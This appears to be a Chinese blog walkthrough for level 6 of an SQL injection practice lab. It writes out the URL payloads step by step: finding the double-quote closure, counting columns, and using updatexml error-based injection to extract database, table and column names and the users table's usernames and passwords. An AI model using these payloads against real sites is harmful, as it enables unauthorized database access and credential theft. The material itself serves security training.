SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
老纪的技术唠嗑局12 小时前
把 seekdb 塞进 iOS App:让混合检索嵌入手机
数据库
ClouGence12 小时前
开源数据库管理工具 CloudDM 新版本发布,支持 OpenSearch、IoTDB 数据源
数据库·开源
徐小黑ACG13 小时前
Redis-基础
数据库·redis·缓存
火山引擎开发者社区13 小时前
案例实践 | 让 Agent 读懂业务口径:ContextSearch 在广告数据查询中的实践
数据库
10年前端老司机14 小时前
Milvus 8种检索能力实践
数据库·python·agent
aiks_yuan15 小时前
MySQL 深分页 LIMIT 越翻越慢怎么办:300 万行实测 OFFSET、延迟关联和 keyset 的耗时差距(MySQL 8.2)
mysql
Decay__15 小时前
14_MySQL 高可用与容灾架构 —— MGR / InnoDB Cluster / Keepalived+VIP / 双主 / 读写分离 / 两地三中心
运维·数据库·sql·mysql·架构
freejackman15 小时前
【实战三】撕开脱敏盲区:深度解析 CASE WHEN 与窗口函数血缘
大数据·数据库·sql
codigger17 小时前
线上数据库连接池打满:从应急止损到架构根治的完整方案
数据库·sql·程序员
倔强的石头_17 小时前
集中式与分布式怎么选?我把手头11套系统重新过了一遍秤
数据库